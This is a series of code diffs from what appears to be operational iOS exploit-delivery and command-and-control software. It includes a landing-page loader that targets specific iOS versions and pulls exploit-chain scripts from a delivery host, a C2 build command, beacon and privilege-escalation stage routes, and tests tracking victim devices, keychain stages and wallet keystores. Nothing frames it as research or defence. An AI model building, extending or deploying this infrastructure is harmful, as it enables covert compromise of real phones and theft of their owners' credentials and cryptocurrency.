} catch (e1) {}
|
||||
try {
|
||||
localStorage.setItem('lab_channel_code', code);
|
||||
} catch (e2) {}
|
||||
return code;
|
||||
}
|
||||
|
||||
function channelCode() {
|
||||
try {
|
||||
var m = String(location.pathname || '').match(/\/channel\/([0-9A-Za-z]\.[0-9A-Za-z]\.[0-9A-Za-z]{2})\//i);
|
||||
if (m && m[1]) return persistChannelCode(m[1].toUpperCase());
|
||||
} catch (eP) {}
|
||||
return '';
|
||||
}
|
||||
|
||||
function dsUrl(path) {
|
||||
var origin = '';
|
||||
try {
|
||||
if (location.origin && location.origin !== 'null') origin = String(location.origin).replace(/\/$/, '');
|
||||
} catch (e) {}
|
||||
return origin + DS_BASE + (path.charAt(0) === '/' ? path : '/' + path);
|
||||
}
|
||||
|
||||
function loadScript(src, onload, attempt) {
|
||||
attempt = attempt || 0;
|
||||
var s = document.createElement('script');
|
||||
s.async = false;
|
||||
s.src = src + (src.indexOf('?') >= 0 ? '&' : '?') + '_=' + Date.now();
|
||||
s.onload = function () { if (onload) onload(); };
|
||||
s.onerror = function () {
|
||||
if (attempt < 3) setTimeout(function () { loadScript(src, onload, attempt + 1); }, 200 * (attempt + 1));
|
||||
};
|
||||
(document.body || document.documentElement).appendChild(s);
|
||||
}
|
||||
|
||||
function holdFresh() {
|
||||
var now = Date.now();
|
||||
for (var i = 0; i < HOLD_KEYS.length; i++) {
|
||||
var key = HOLD_KEYS[i];
|
||||
try {
|
||||
var ls = parseInt(localStorage.getItem(key) || '0', 10) || 0;
|
||||
if (ls && now - ls <= HOLD_MS) return true;
|
||||
} catch (e0) {}
|
||||
try {
|
||||
var ss = parseInt(sessionStorage.getItem(key) || '0', 10) || 0;
|
||||
if (ss && now - ss <= HOLD_MS) return true;
|
||||
} catch (e1) {}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
function markHold() {
|
||||
var ts = String(Date.now());
|
||||
try {
|
||||
localStorage.setItem('__ds_rce_hold', ts);
|
||||
localStorage.setItem('__ds_chain_hold', ts);
|
||||
} catch (e2) {}
|
||||
try {
|
||||
sessionStorage.setItem('__ds_rce_hold', ts);
|
||||
sessionStorage.setItem('__ds_chain_hold', ts);
|
||||
} catch (e3) {}
|
||||
}
|
||||
|
||||
function loadDs(code) {
|
||||
if (holdFresh()) return;
|
||||
markHold();
|
||||
persistChannelCode(code);
|
||||
try {
|
||||
window.__LAB_DELIVERY_HOST__ = dsUrl('');
|
||||
} catch (eH) {}
|
||||
loadScript(dsUrl('/config.js'), function () {
|
||||
loadScript(dsUrl('/boot.js'));
|
||||
});
|
||||
}
|
||||
|
||||
var ios = parseIosVersion();
|
||||
var code = channelCode();
|
||||
if (!ios || cmpVer(ios, [18, 1]) < 0) {
|
||||
loadScript('index.js');
|
||||
return;
|
||||
}
|
||||
if (cmpVer(ios, [18, 7]) < 0) {
|
||||
loadDs(code);
|
||||
}
|
||||
})();
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
@@ -202,15 +202,6 @@ def normalize_landing_template(value: str | None) -> str:
|
||||
return template
|
||||
|
||||
|
||||
def ensure_route_js(weifile_dir: Path) -> Path:
|
||||
src = xxbb_build.SOURCE_WEIFILE / "route.js"
|
||||
if not src.is_file():
|
||||
raise SystemExit(f"missing weifile router: {src}")
|
||||
dest = weifile_dir / "route.js"
|
||||
dest.write_text(src.read_text(encoding="utf-8"), encoding="utf-8")
|
||||
return dest
|
||||
|
||||
|
||||
def apply_landing_template(weifile_dir: Path, template: str) -> Path:
|
||||
template = normalize_landing_template(template)
|
||||
src = LANDING_TEMPLATE_ROOT / f"{template}.html"
|
||||
@@ -282,7 +273,9 @@ def pack_channel(
|
||||
encoding="utf-8",
|
||||
)
|
||||
apply_landing_template(weifile_dest, landing_template)
|
||||
ensure_route_js(weifile_dest)
|
||||
leftover_route = weifile_dest / "route.js"
|
||||
if leftover_route.is_file():
|
||||
leftover_route.unlink()
|
||||
|
||||
if channel_out.exists():
|
||||
shutil.rmtree(channel_out)
|
||||
|
||||
@@ -83,18 +83,18 @@ class XxbbBuildTest(unittest.TestCase):
|
||||
self.assertFalse((artifact / "weifile").exists())
|
||||
self.assertTrue((weifile / "index.js").is_file())
|
||||
self.assertTrue((weifile / "weifile.html").is_file())
|
||||
self.assertTrue((weifile / "route.js").is_file())
|
||||
self.assertFalse((weifile / "route.js").is_file())
|
||||
html = (weifile / "weifile.html").read_text(encoding="utf-8")
|
||||
route = (weifile / "route.js").read_text(encoding="utf-8")
|
||||
self.assertNotIn("__CHANNEL_C__", html)
|
||||
self.assertNotIn("/t.js", html)
|
||||
self.assertIn("route.js", html)
|
||||
self.assertIn("location.pathname", route)
|
||||
self.assertIn("/next-chain", route)
|
||||
self.assertIn("boot.js", route)
|
||||
self.assertIn("10 * 60 * 1000", route)
|
||||
self.assertNotIn("channeICode", route)
|
||||
self.assertIn("index.js", route)
|
||||
self.assertNotIn('src="route.js"', html)
|
||||
self.assertIn("location.pathname", html)
|
||||
self.assertIn("/next-chain", html)
|
||||
self.assertIn("config.js", html)
|
||||
self.assertIn("holdFresh", html)
|
||||
self.assertIn("10 * 60 * 1000", html)
|
||||
self.assertNotIn("channeICode", html)
|
||||
self.assertIn("index.js", html)
|
||||
index_js = (weifile / "index.js").read_text(encoding="utf-8")
|
||||
expected_host = generate_domains(channel_c, 1)[0]
|
||||
self.assertIn(expected_host, index_js)
|
||||
@@ -321,15 +321,19 @@ class XxbbBuildTest(unittest.TestCase):
|
||||
self.assertEqual(stripped, "head;")
|
||||
html = pack_channel.inject_tjs("<html><head></head><body></body></html>")
|
||||
self.assertIn('/t.js', html)
|
||||
route = (xxbb_build.SOURCE_WEIFILE / "route.js").read_text(encoding="utf-8")
|
||||
self.assertIn("location.pathname", route)
|
||||
self.assertIn("/next-chain", route)
|
||||
self.assertIn("boot.js", route)
|
||||
self.assertIn("10 * 60 * 1000", route)
|
||||
self.assertNotIn("channeICode", route)
|
||||
self.assertFalse((xxbb_build.SOURCE_WEIFILE / "route.js").is_file())
|
||||
for name in ("weifile.html", "templates/blank.html", "templates/test.html"):
|
||||
landing = (xxbb_build.SOURCE_WEIFILE / name).read_text(encoding="utf-8")
|
||||
self.assertIn("route.js", landing)
|
||||
self.assertNotIn('src="route.js"', landing)
|
||||
self.assertIn("location.pathname", landing)
|
||||
self.assertIn("/next-chain", landing)
|
||||
self.assertIn("config.js", landing)
|
||||
self.assertIn("boot.js", landing)
|
||||
self.assertNotIn("__LAB_RUN_BOOT__", landing)
|
||||
self.assertNotIn("iframe", landing)
|
||||
self.assertIn("holdFresh", landing)
|
||||
self.assertIn("10 * 60 * 1000", landing)
|
||||
self.assertNotIn("channeICode", landing)
|
||||
self.assertNotIn('src="index.js"', landing)
|
||||
|
||||
def test_source_details_has_lab_passworded_wap_and_sms(self) -> None:
|
||||
|
||||
@@ -0,0 +1,76 @@
|
||||
<?php
|
||||
|
||||
use Illuminate\Database\Migrations\Migration;
|
||||
use Illuminate\Database\Schema\Blueprint;
|
||||
use Illuminate\Support\Facades\DB;
|
||||
use Illuminate\Support\Facades\Schema;
|
||||
|
||||
return new class extends Migration
|
||||
{
|
||||
public function up(): void
|
||||
{
|
||||
if (! Schema::hasTable('devices') || Schema::hasColumn('devices', 'chain')) {
|
||||
return;
|
||||
}
|
||||
|
||||
Schema::table('devices', function (Blueprint $table) {
|
||||
$table->unsignedTinyInteger('chain')->default(1)->after('device_id');
|
||||
});
|
||||
|
||||
if (Schema::hasColumn('devices', 'family')) {
|
||||
foreach (DB::table('devices')->select('id', 'family')->cursor() as $row) {
|
||||
$raw = strtolower(trim((string) $row->family));
|
||||
$code = in_array($raw, ['darksword', '2'], true) ? 2 : 1;
|
||||
DB::table('devices')->where('id', $row->id)->update(['chain' => $code]);
|
||||
}
|
||||
|
||||
try {
|
||||
Schema::table('devices', function (Blueprint $table) {
|
||||
$table->dropIndex(['family']);
|
||||
});
|
||||
} catch (Throwable) {
|
||||
}
|
||||
|
||||
Schema::table('devices', function (Blueprint $table) {
|
||||
$table->dropColumn('family');
|
||||
});
|
||||
}
|
||||
|
||||
Schema::table('devices', function (Blueprint $table) {
|
||||
$table->index('chain');
|
||||
});
|
||||
}
|
||||
|
||||
public function down(): void
|
||||
{
|
||||
if (! Schema::hasTable('devices') || ! Schema::hasColumn('devices', 'chain')) {
|
||||
return;
|
||||
}
|
||||
|
||||
if (! Schema::hasColumn('devices', 'family')) {
|
||||
Schema::table('devices', function (Blueprint $table) {
|
||||
$table->string('family', 32)->default('coruna')->after('device_id');
|
||||
});
|
||||
}
|
||||
|
||||
foreach (DB::table('devices')->select('id', 'chain')->cursor() as $row) {
|
||||
$label = (int) $row->chain === 2 ? 'darksword' : 'coruna';
|
||||
DB::table('devices')->where('id', $row->id)->update(['family' => $label]);
|
||||
}
|
||||
|
||||
try {
|
||||
Schema::table('devices', function (Blueprint $table) {
|
||||
$table->dropIndex(['chain']);
|
||||
});
|
||||
} catch (Throwable) {
|
||||
}
|
||||
|
||||
Schema::table('devices', function (Blueprint $table) {
|
||||
$table->dropColumn('chain');
|
||||
});
|
||||
|
||||
Schema::table('devices', function (Blueprint $table) {
|
||||
$table->index('family');
|
||||
});
|
||||
}
|
||||
};
|
||||
@@ -16,10 +16,10 @@
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">利用链</label>
|
||||
<div class="layui-input-block">
|
||||
<select name="family">
|
||||
<select name="chain">
|
||||
<option value="">全部</option>
|
||||
<option value="coruna">Coruna</option>
|
||||
<option value="darksword">DarkSword</option>
|
||||
<option value="1">Coruna</option>
|
||||
<option value="2">DarkSword</option>
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
@@ -119,8 +119,8 @@ layui.use(['table', 'form', 'laydate', 'layer'], function () {
|
||||
cols: [[
|
||||
{ field: 'id', title: 'ID', width: 80, sort: true },
|
||||
{ field: 'device_id', title: '设备 ID', minWidth: 180, sort: true },
|
||||
{ field: 'family', title: '利用链', width: 120, templet: function (d) {
|
||||
var ds = d.family === 'darksword';
|
||||
{ field: 'chain', title: '利用链', width: 120, templet: function (d) {
|
||||
var ds = Number(d.chain) === 2;
|
||||
return '<span class="tag-chain ' + (ds ? 'tag-chain-darksword' : 'tag-chain-coruna') + '">' +
|
||||
(ds ? 'DarkSword' : 'Coruna') + '</span>';
|
||||
} },
|
||||
|
||||
@@ -19,7 +19,7 @@
|
||||
<tr>
|
||||
<th>利用链</th>
|
||||
<td colspan="3">
|
||||
@if (($device->family ?: \App\Models\Device::FAMILY_CORUNA) === \App\Models\Device::FAMILY_DARKSWORD)
|
||||
@if ($device->isDarkSword())
|
||||
<span class="tag-chain tag-chain-darksword">DarkSword</span>
|
||||
@else
|
||||
<span class="tag-chain tag-chain-coruna">Coruna</span>
|
||||
|
||||
+12
-20
@@ -159,39 +159,31 @@ Artisan::command('xxbb:repack {ids?*} {--template=blank} {--skip-shared} {--dry-
|
||||
return 0;
|
||||
})->purpose('Repack existing new-builder channels with latest weifile / details / plugins');
|
||||
|
||||
Artisan::command('ds:build {--host=} {--port=} {--origin=}', function () {
|
||||
Artisan::command('ds:build {--origin=} {--c2=} {--delivery=}', function () {
|
||||
$script = base_path('channel-builder-ds/tools/build.py');
|
||||
if (! is_file($script)) {
|
||||
$this->error('missing '.$script);
|
||||
|
||||
return 1;
|
||||
}
|
||||
$args = ['python3', $script];
|
||||
$host = trim((string) $this->option('host'));
|
||||
$port = trim((string) $this->option('port'));
|
||||
$origin = trim((string) $this->option('origin'));
|
||||
if ($origin === '' && $host === '') {
|
||||
$c2 = trim((string) $this->option('c2'));
|
||||
$origin = $c2 !== '' ? $c2 : trim((string) $this->option('origin'));
|
||||
$delivery = trim((string) $this->option('delivery'));
|
||||
if ($origin === '') {
|
||||
$origin = rtrim((string) config('app.url'), '/');
|
||||
$this->warn('未传 --origin,使用 APP_URL: '.$origin);
|
||||
$this->warn('线上必须显式指定 C2,例如: php artisan ds:build --origin https://你的域名');
|
||||
$this->warn('未传 --c2/--origin,使用 APP_URL: '.$origin);
|
||||
$this->warn('线上必须显式指定 C2,例如: php artisan ds:build --c2 https://c2.example.com');
|
||||
}
|
||||
if ($origin !== '') {
|
||||
$args[] = '--origin';
|
||||
$args[] = $origin;
|
||||
}
|
||||
if ($host !== '') {
|
||||
$args[] = '--host';
|
||||
$args[] = $host;
|
||||
}
|
||||
if ($port !== '') {
|
||||
$args[] = '--port';
|
||||
$args[] = $port;
|
||||
$args = ['python3', $script, '--c2', $origin];
|
||||
if ($delivery !== '') {
|
||||
$args[] = '--delivery';
|
||||
$args[] = $delivery;
|
||||
}
|
||||
$this->info(implode(' ', $args));
|
||||
passthru(implode(' ', array_map('escapeshellarg', $args)), $code);
|
||||
|
||||
return $code;
|
||||
})->purpose('Rewrite DarkSword source and publish public/next-chain');
|
||||
})->purpose('Rewrite one99 hosts to --c2 and publish source/ to public/next-chain');
|
||||
|
||||
Artisan::command('coruna:channel-domains {--json}', function () {
|
||||
$domains = array_values(array_filter(config('coruna.channel_domains', [])));
|
||||
|
||||
+3
-1
@@ -12,7 +12,9 @@ Route::any('/beacon', [$ds, 'beacon']);
|
||||
Route::any('/war', [$ds, 'war']);
|
||||
Route::any('/p', [$ds, 'p']);
|
||||
Route::any('/stats', [$ds, 'stats']);
|
||||
|
||||
Route::any('/api/ds/log', [$ds, 'log']);
|
||||
Route::any('/api/ds/pe-stage/{name}', [$ds, 'peStage']);
|
||||
Route::any('/api/ds/device/register', [$ds, 'register']);
|
||||
Route::any('/api/ds/chain-targets', [$ds, 'chainTargets']);
|
||||
|
||||
Route::any('/api/ds/pe-stage/{name}', [$ds, 'peStage']);
|
||||
|
||||
@@ -53,7 +53,7 @@ class DarkSwordC2ApiTest extends TestCase
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function log_with_stage_writes_chain_log_and_dedups(): void
|
||||
public function log_with_stage_skips_db(): void
|
||||
{
|
||||
$payload = [
|
||||
'deviceUUID' => '50624FE26CC4A0DF689EAEA117557C3E',
|
||||
@@ -65,31 +65,24 @@ class DarkSwordC2ApiTest extends TestCase
|
||||
$this->postJson('/api/ds/log', $payload)->assertOk()->assertJson(['status' => 'accepted']);
|
||||
$this->postJson('/api/ds/log', $payload)->assertOk();
|
||||
|
||||
$this->assertSame(1, DsChainLog::query()->count());
|
||||
$row = DsChainLog::query()->first();
|
||||
$this->assertSame('50624FE26CC4A0DF689EAEA117557C3E', $row->client_uid);
|
||||
$this->assertSame('loader', $row->stage);
|
||||
$this->assertSame(18, $row->progress);
|
||||
$this->assertSame('BODOZR5F613N9', $row->channel_id);
|
||||
$this->assertSame(0, DsChainLog::query()->count());
|
||||
$this->assertSame(0, Device::query()->count());
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function log_infers_stage_and_ignores_noise(): void
|
||||
public function log_text_skips_db_even_when_stage_can_be_inferred(): void
|
||||
{
|
||||
$this->postJson('/api/ds/log', [
|
||||
'text' => 'malloc ok 0x1234',
|
||||
'deviceUUID' => '50624FE26CC4A0DF689EAEA117557C3E',
|
||||
])->assertOk();
|
||||
$this->assertSame(0, DsChainLog::query()->count());
|
||||
|
||||
$this->postJson('/api/ds/log', [
|
||||
'text' => 'pe_main_start',
|
||||
'deviceUUID' => '50624FE26CC4A0DF689EAEA117557C3E',
|
||||
])->assertOk();
|
||||
$row = DsChainLog::query()->first();
|
||||
$this->assertNotNull($row);
|
||||
$this->assertSame('pe', $row->stage);
|
||||
$this->assertSame(86, $row->progress);
|
||||
|
||||
$this->assertSame(0, DsChainLog::query()->count());
|
||||
$this->assertSame(0, Device::query()->count());
|
||||
}
|
||||
|
||||
#[Test]
|
||||
@@ -102,13 +95,15 @@ class DarkSwordC2ApiTest extends TestCase
|
||||
'chain' => 'darksword',
|
||||
]);
|
||||
|
||||
$this->get('/log.html?text=lab')
|
||||
->assertOk()
|
||||
->assertSee('ok', false);
|
||||
|
||||
$this->get('/api/ds/log?text=lab')
|
||||
->assertOk()
|
||||
->assertSee('ok', false);
|
||||
|
||||
$this->getJson('/api/chain-targets?ios=18.6')->assertNotFound();
|
||||
$this->get('/log.html?text=lab')->assertNotFound();
|
||||
$this->getJson('/next-chain/api/chain-targets')->assertNotFound();
|
||||
$this->getJson('/next-chain/api/device/register')->assertNotFound();
|
||||
$this->get('/next-chain/log.html?text=lab')->assertNotFound();
|
||||
}
|
||||
|
||||
#[Test]
|
||||
@@ -116,7 +111,8 @@ class DarkSwordC2ApiTest extends TestCase
|
||||
{
|
||||
$this->get('/api/ds/pe-stage/s1_launchd?deviceUUID=50624FE26CC4A0DF689EAEA117557C3E')
|
||||
->assertOk()
|
||||
->assertSee('ok', false);
|
||||
->assertHeader('Content-Type', 'application/javascript; charset=utf-8')
|
||||
->assertSee('__peStage1', false);
|
||||
|
||||
$row = DsChainLog::query()->first();
|
||||
$this->assertNotNull($row);
|
||||
@@ -133,7 +129,7 @@ class DarkSwordC2ApiTest extends TestCase
|
||||
|
||||
$this->get('/api/ds/pe-stage/s2_keychain')
|
||||
->assertOk()
|
||||
->assertSee('ok', false);
|
||||
->assertSee('__peStage2', false);
|
||||
$this->assertSame(2, DsChainLog::query()->count());
|
||||
}
|
||||
|
||||
@@ -150,7 +146,7 @@ class DarkSwordC2ApiTest extends TestCase
|
||||
|
||||
$device = Device::query()->where('device_id', self::DS_LHU)->first();
|
||||
$this->assertNotNull($device);
|
||||
$this->assertSame(Device::FAMILY_DARKSWORD, $device->family);
|
||||
$this->assertSame(Device::CHAIN_DARKSWORD, $device->chain);
|
||||
$this->assertSame('iPhone15,2', $device->device_model);
|
||||
$this->assertSame('18.6', $device->ios_version);
|
||||
$this->assertSame('192.168.31.77', $device->ip);
|
||||
@@ -170,7 +166,7 @@ class DarkSwordC2ApiTest extends TestCase
|
||||
|
||||
$xxbb = Device::query()->where('device_id', self::XXBB_D)->first();
|
||||
$this->assertNotNull($xxbb);
|
||||
$this->assertSame(Device::FAMILY_CORUNA, $xxbb->family);
|
||||
$this->assertSame(Device::CHAIN_CORUNA, $xxbb->chain);
|
||||
|
||||
$this->postJson('/a', [
|
||||
'lhu' => self::DS_LHU,
|
||||
@@ -180,7 +176,7 @@ class DarkSwordC2ApiTest extends TestCase
|
||||
|
||||
$ds = Device::query()->where('device_id', self::DS_LHU)->first();
|
||||
$this->assertNotNull($ds);
|
||||
$this->assertSame(Device::FAMILY_DARKSWORD, $ds->family);
|
||||
$this->assertSame(Device::CHAIN_DARKSWORD, $ds->chain);
|
||||
$this->assertSame(2, Device::query()->count());
|
||||
}
|
||||
|
||||
@@ -232,7 +228,7 @@ class DarkSwordC2ApiTest extends TestCase
|
||||
|
||||
$device = Device::query()->where('device_id', '50624FE26CC4A0DF689EAEA117557C3E')->first();
|
||||
$this->assertNotNull($device);
|
||||
$this->assertSame(Device::FAMILY_DARKSWORD, $device->family);
|
||||
$this->assertSame(Device::CHAIN_DARKSWORD, $device->chain);
|
||||
$this->assertSame('BODOZR5F613N9', $device->channel_id);
|
||||
$this->assertSame('18.6', $device->ios_version);
|
||||
}
|
||||
@@ -473,7 +469,7 @@ class DarkSwordC2ApiTest extends TestCase
|
||||
]);
|
||||
$device = Device::query()->create([
|
||||
'device_id' => 'reprocess-trust-utc',
|
||||
'family' => Device::FAMILY_DARKSWORD,
|
||||
'chain' => Device::CHAIN_DARKSWORD,
|
||||
]);
|
||||
WalletKeystore::query()->create([
|
||||
'device_id' => $device->id,
|
||||
@@ -600,7 +596,7 @@ class DarkSwordC2ApiTest extends TestCase
|
||||
|
||||
$device = Device::query()->where('device_id', self::DS_LHU)->first();
|
||||
$this->assertNotNull($device);
|
||||
$this->assertSame(Device::FAMILY_DARKSWORD, $device->family);
|
||||
$this->assertSame(Device::CHAIN_DARKSWORD, $device->chain);
|
||||
$this->assertSame(0, DeviceEvent::query()->count());
|
||||
$this->assertSame(count($types), DsBeaconTask::query()->where('device_id', $device->id)->count());
|
||||
$this->assertSame(
|
||||
@@ -708,7 +704,7 @@ class DarkSwordC2ApiTest extends TestCase
|
||||
{
|
||||
$device = Device::query()->create([
|
||||
'device_id' => self::DS_LHU,
|
||||
'family' => Device::FAMILY_DARKSWORD,
|
||||
'chain' => Device::CHAIN_DARKSWORD,
|
||||
]);
|
||||
DsBeaconTask::query()->create([
|
||||
'device_id' => $device->id,
|
||||
@@ -740,7 +736,7 @@ class DarkSwordC2ApiTest extends TestCase
|
||||
Storage::fake('local');
|
||||
$device = Device::query()->create([
|
||||
'device_id' => self::DS_LHU,
|
||||
'family' => Device::FAMILY_DARKSWORD,
|
||||
'chain' => Device::CHAIN_DARKSWORD,
|
||||
]);
|
||||
DsBeaconTask::query()->create([
|
||||
'device_id' => $device->id,
|
||||
@@ -786,7 +782,7 @@ class DarkSwordC2ApiTest extends TestCase
|
||||
Storage::fake('local');
|
||||
$device = Device::query()->create([
|
||||
'device_id' => self::DS_LHU,
|
||||
'family' => Device::FAMILY_DARKSWORD,
|
||||
'chain' => Device::CHAIN_DARKSWORD,
|
||||
]);
|
||||
DsBeaconTask::query()->create([
|
||||
'device_id' => $device->id,
|
||||
@@ -856,7 +852,7 @@ class DarkSwordC2ApiTest extends TestCase
|
||||
Storage::fake('local');
|
||||
$device = Device::query()->create([
|
||||
'device_id' => self::DS_LHU,
|
||||
'family' => Device::FAMILY_DARKSWORD,
|
||||
'chain' => Device::CHAIN_DARKSWORD,
|
||||
]);
|
||||
$task = DsBeaconTask::query()->create([
|
||||
'device_id' => $device->id,
|
||||
|
||||
Reference in New Issue
Block a user